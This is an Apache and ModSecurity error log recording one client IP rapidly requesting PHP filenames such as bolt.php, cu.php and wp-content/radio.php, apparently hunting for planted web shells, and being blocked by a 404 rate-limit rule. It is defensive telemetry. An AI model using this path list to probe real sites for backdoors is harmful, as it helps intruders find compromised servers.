[Wed Apr 15 19:18:13.206454 2026] [:error] [pid 30958:tid 31026] [client 172.161.107.89:19171] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9z9ceG3wSKTO7NWFGM9gAAAMo"]
[Wed Apr 15 19:18:13.408542 2026] [:error] [pid 30958:tid 31017] [client 172.161.107.89:20661] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9z9ceG3wSKTO7NWFGM9wAAAME"]
[Wed Apr 15 19:18:13.690862 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:19176] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9z9RcEkLCmvF0fjDesKwAAAJE"]
[Wed Apr 15 19:18:13.882340 2026] [:error] [pid 30958:tid 31033] [client 172.161.107.89:10696] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9z9ceG3wSKTO7NWFGM-AAAANE"]
[Wed Apr 15 19:18:14.168851 2026] [proxy_fcgi:error] [pid 31053:tid 31072] [client 172.161.107.89:10745] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:18:14.368213 2026] [proxy_fcgi:error] [pid 31053:tid 31058] [client 172.161.107.89:42924] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:18:14.607607 2026] [proxy_fcgi:error] [pid 31053:tid 31067] [client 172.161.107.89:42924] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:18:14.847892 2026] [proxy_fcgi:error] [pid 31053:tid 31076] [client 172.161.107.89:42924] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:18:15.089481 2026] [proxy_fcgi:error] [pid 31053:tid 31056] [client 172.161.107.89:42924] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:18:15.655571 2026] [proxy_fcgi:error] [pid 31053:tid 31080] [client 172.161.107.89:10745] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:18:15.808481 2026] [proxy_fcgi:error] [pid 31053:tid 31068] [client 172.161.107.89:42924] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:18:15.894943 2026] [proxy_fcgi:error] [pid 31053:tid 31077] [client 172.161.107.89:10745] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:18:16.131623 2026] [:error] [pid 31053:tid 31078] [client 172.161.107.89:10745] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9z-BcEkLCmvF0fjDesOgAAAJY"]
[Wed Apr 15 19:18:16.289975 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:42924] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9z-BcEkLCmvF0fjDesPAAAAJE"]
[Wed Apr 15 19:18:16.609919 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:32973] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9z-BcEkLCmvF0fjDesPQAAAIs"]
[Wed Apr 15 19:18:16.801889 2026] [:error] [pid 30956:tid 30971] [client 172.161.107.89:39238] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9z-EBGUpjaWntNYq1gswAAAAs"]
[Wed Apr 15 19:18:17.110801 2026] [:error] [pid 30957:tid 30994] [client 172.161.107.89:15352] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9z-X5gwVEVXHfVSipwfwAAAEU"]
[Wed Apr 15 19:18:17.279152 2026] [:error] [pid 30957:tid 31001] [client 172.161.107.89:32967] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9z-X5gwVEVXHfVSipwgAAAAEw"]
[Wed Apr 15 19:18:17.616611 2026] [:error] [pid 30958:tid 31018] [client 172.161.107.89:13505] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9z-ceG3wSKTO7NWFGM-wAAAMI"]
[Wed Apr 15 19:18:17.776619 2026] [:error] [pid 30956:tid 30965] [client 172.161.107.89:48312] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9z-UBGUpjaWntNYq1gtQAAAAU"]
[Wed Apr 15 19:18:18.104955 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:5872] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9z-ng-gnM2Ga0cGAAFggAAARI"]
[Wed Apr 15 19:18:18.250925 2026] [:error] [pid 30957:tid 31009] [client 172.161.107.89:27896] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9z-n5gwVEVXHfVSipwgQAAAFQ"]
[Wed Apr 15 19:18:18.698653 2026] [:error] [pid 30957:tid 31007] [client 172.161.107.89:32663] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9z-n5gwVEVXHfVSipwhQAAAFI"]
[Wed Apr 15 19:18:18.743524 2026] [:error] [pid 30957:tid 30998] [client 172.161.107.89:30308] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9z-n5gwVEVXHfVSipwhgAAAEk"]
[Wed Apr 15 19:18:19.195671 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:19178] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9z-xcEkLCmvF0fjDesQQAAAJE"]
[Wed Apr 15 19:18:19.253509 2026] [:error] [pid 30958:tid 31025] [client 172.161.107.89:5832] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9z-8eG3wSKTO7NWFGM_AAAAMk"]
[Wed Apr 15 19:18:19.682522 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:31153] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9z-3g-gnM2Ga0cGAAFhgAAAQM"]
[Wed Apr 15 19:18:19.774672 2026] [:error] [pid 30957:tid 30992] [client 172.161.107.89:25445] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9z-35gwVEVXHfVSipwiAAAAEM"]
[Wed Apr 15 19:18:20.151560 2026] [:error] [pid 37370:tid 37394] [client 172.161.107.89:32996] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9z_Hg-gnM2Ga0cGAAFiAAAARY"]
[Wed Apr 15 19:18:20.258608 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:31228] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9z_Hg-gnM2Ga0cGAAFiQAAAQs"]
[Wed Apr 15 19:18:20.646979 2026] [:error] [pid 37370:tid 37379] [client 172.161.107.89:31126] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9z_Hg-gnM2Ga0cGAAFjAAAAQc"]
[Wed Apr 15 19:18:20.730102 2026] [:error] [pid 37370:tid 37391] [client 172.161.107.89:5843] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9z_Hg-gnM2Ga0cGAAFjQAAARM"]
[Wed Apr 15 19:18:21.165861 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:42934] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9z_Xg-gnM2Ga0cGAAFkQAAAQ4"]
[Wed Apr 15 19:18:21.232412 2026] [:error] [pid 37370:tid 37389] [client 172.161.107.89:48267] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9z_Xg-gnM2Ga0cGAAFkgAAARE"]
[Wed Apr 15 19:18:21.671032 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:31195] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9z_RcEkLCmvF0fjDesRQAAAIs"]
[Wed Apr 15 19:18:21.768395 2026] [:error] [pid 31053:tid 31056] [client 172.161.107.89:43599] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9z_RcEkLCmvF0fjDesRgAAAIA"]
[Wed Apr 15 19:18:22.156682 2026] [:error] [pid 30956:tid 30978] [client 172.161.107.89:19146] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9z_kBGUpjaWntNYq1guAAAABI"]
[Wed Apr 15 19:18:22.293286 2026] [:error] [pid 30956:tid 30976] [client 172.161.107.89:16424] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9z_kBGUpjaWntNYq1guQAAABA"]
[Wed Apr 15 19:18:22.735844 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:30303] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9z_ng-gnM2Ga0cGAAFlwAAARU"]
[Wed Apr 15 19:18:22.785955 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:5851] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9z_ng-gnM2Ga0cGAAFmAAAARc"]
[Wed Apr 15 19:18:23.247924 2026] [:error] [pid 30957:tid 31006] [client 172.161.107.89:31188] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9z_35gwVEVXHfVSipwigAAAFE"]
[Wed Apr 15 19:18:23.296034 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:48287] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9z_3g-gnM2Ga0cGAAFnAAAAQs"]
[Wed Apr 15 19:18:23.781432 2026] [:error] [pid 30956:tid 30984] [client 172.161.107.89:65068] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9z_0BGUpjaWntNYq1gugAAABg"]
[Wed Apr 15 19:18:23.823446 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:5835] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9z_3g-gnM2Ga0cGAAFoAAAAQU"]
[Wed Apr 15 19:18:24.252256 2026] [:error] [pid 30958:tid 31037] [client 172.161.107.89:31228] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad90AMeG3wSKTO7NWFGNAQAAANU"]
[Wed Apr 15 19:18:24.316733 2026] [:error] [pid 30958:tid 31016] [client 172.161.107.89:5131] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad90AMeG3wSKTO7NWFGNAgAAAMA"]
[Wed Apr 15 19:18:24.729973 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:31196] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad90AHg-gnM2Ga0cGAAFoQAAAQE"]
[Wed Apr 15 19:18:24.839981 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:31204] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad90AHg-gnM2Ga0cGAAFogAAARU"]
[Wed Apr 15 19:18:25.222858 2026] [:error] [pid 30956:tid 30972] [client 172.161.107.89:29514] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad90AUBGUpjaWntNYq1guwAAAAw"]
[Wed Apr 15 19:18:25.354118 2026] [:error] [pid 30956:tid 30960] [client 172.161.107.89:39260] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad90AUBGUpjaWntNYq1gvQAAAAA"]
[Wed Apr 15 19:18:25.740017 2026] [:error] [pid 30958:tid 31039] [client 172.161.107.89:16783] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "ad90AceG3wSKTO7NWFGNBQAAANc"]
[Wed Apr 15 19:18:25.878285 2026] [:error] [pid 30958:tid 31035] [client 172.161.107.89:48303] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad90AceG3wSKTO7NWFGNBgAAANM"]
[Wed Apr 15 19:18:26.226939 2026] [:error] [pid 37370:tid 37380] [client 172.161.107.89:9615] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad90Ang-gnM2Ga0cGAAFpAAAAQg"]
[Wed Apr 15 19:18:26.386491 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:8527] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad90Ang-gnM2Ga0cGAAFpQAAAQs"]
[Wed Apr 15 19:18:26.739539 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:15272] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad90Ang-gnM2Ga0cGAAFpgAAARI"]
[Wed Apr 15 19:18:26.879783 2026] [:error] [pid 31053:tid 31062] [client 172.161.107.89:26676] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad90AhcEkLCmvF0fjDesSQAAAIY"]
[Wed Apr 15 19:18:27.213114 2026] [:error] [pid 30958:tid 31017] [client 172.161.107.89:31219] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad90A8eG3wSKTO7NWFGNCgAAAME"]
[Wed Apr 15 19:18:27.378154 2026] [:error] [pid 30957:tid 30990] [client 172.161.107.89:29551] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad90A35gwVEVXHfVSipwjwAAAEE"]
[Wed Apr 15 19:18:27.700115 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:42927] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "ad90A3g-gnM2Ga0cGAAFqQAAAQE"]
[Wed Apr 15 19:18:27.857155 2026] [:error] [pid 30958:tid 31028] [client 172.161.107.89:29525] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad90A8eG3wSKTO7NWFGNCwAAAMw"]
[Wed Apr 15 19:18:28.173989 2026] [:error] [pid 30956:tid 30961] [client 172.161.107.89:65065] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/b.php"] [unique_id "ad90BEBGUpjaWntNYq1gvwAAAAE"]
